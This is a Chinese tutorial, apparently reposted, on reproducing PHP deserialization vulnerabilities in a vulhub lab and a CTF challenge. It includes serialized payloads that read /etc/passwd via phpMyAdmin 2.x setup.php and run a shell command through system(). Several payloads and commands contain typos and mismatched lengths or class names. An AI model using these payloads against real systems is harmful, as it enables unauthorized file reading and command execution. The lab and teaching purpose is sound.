PHP反序列化漏洞复现 您所在的位置:网站首页 php反序列化完整总结 PHP反序列化漏洞复现

PHP反序列化漏洞复现

2024-07-04 19:10| 来源: 网络整理| 查看: 265

一、原理 PHP序列化与反序列化介绍

1、什么是序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。 通俗的说,就是将数据转化成一种可逆的数据结构。 反序列化(UnSerialization)将序列化的过程逆向就叫做反序列化。

举例: 现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市?这时候一般都会把它拆卸成板子,再装到箱子里面,然后就可以快递出去,这个过程就类似我们的序列化的过程(将数据对象的状态信息转化为可以存储或者传输的格式)。当买家收到货后,就需要自己把这些板子组装成桌子,这个过程就类似反序列的过程(转化成当初的数据对象)。

2、序列化的目的 方便数据的传输和存储。

3、常见的序列化格式

二进制格式 字节数组 json字符串 xml字符串 序列化与反序列化PHP代码介绍

1、PHP serialize() 序列化函数 定义介绍见链接: https://www.w3cschool.cn/php/php-serialize_info.html 2、代码演示

a(array):number; a代表数组,number代表数组个数

s(string):number:value; s代表字符串,number代表字符串长度,value代表字符串的值

i(int):number; i代表整型,number代表整数长度

O(object):number:name; O代表对象,name代表对象名称,number代表对象个数

3、PHP unserialize() 反序列化函数 定义介绍见链接: https://www.cnblogs.com/junyi-bk/p/11631685.html 4、代码演示

二、PHP反序列化demo复现

1、服务器demo.php写入php代码,如下:

2、创建payload

class a{public $target='alert(1)';} $a = serialize(new A); echo $a //O:1:"b":1:{s:6:"target";s:25:"alert(1)";}

3、访问demo.php?test=O:1:"b":1:{s:6:"target";s:25:"";}

三、WooYun-2016-199433漏洞复现 漏洞描述

phpmyadmin scripts/setup.php 页面存在反序列化漏洞,phpmyadmin 2.x版本中存在一处反序列化漏洞,攻击者可以读取任意文件。

漏洞环境搭建

1、进入vulhub-master的phpmyadmin/WooYun-2016-199433目录下 2、docker启动环境

dcoker-compose up -d 漏洞复现

1、浏览器访问http://192.168.2.147:8080/scripts/setup.php 2、输入payload抓包漏洞复现,读取任意文件

//payload action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

四、[网鼎杯2020朱雀组]PHP反序列化

1、抓包发现可以传递参数和函数 2、可以用file_get_contents函数读取index.php网页源代码

file_get_contents() 函数把整个文件读入一个字符串中,详情如下链接: https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp

//读取flag的pyaload func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";}

详情见参考链接: https://www.cnblogs.com/vege/p/12907941.html

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

参考链接

cnblogs-实战经验丨PHP反序列化漏洞总结 cnblogs-php 序列化和反序列化的作用及使用



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有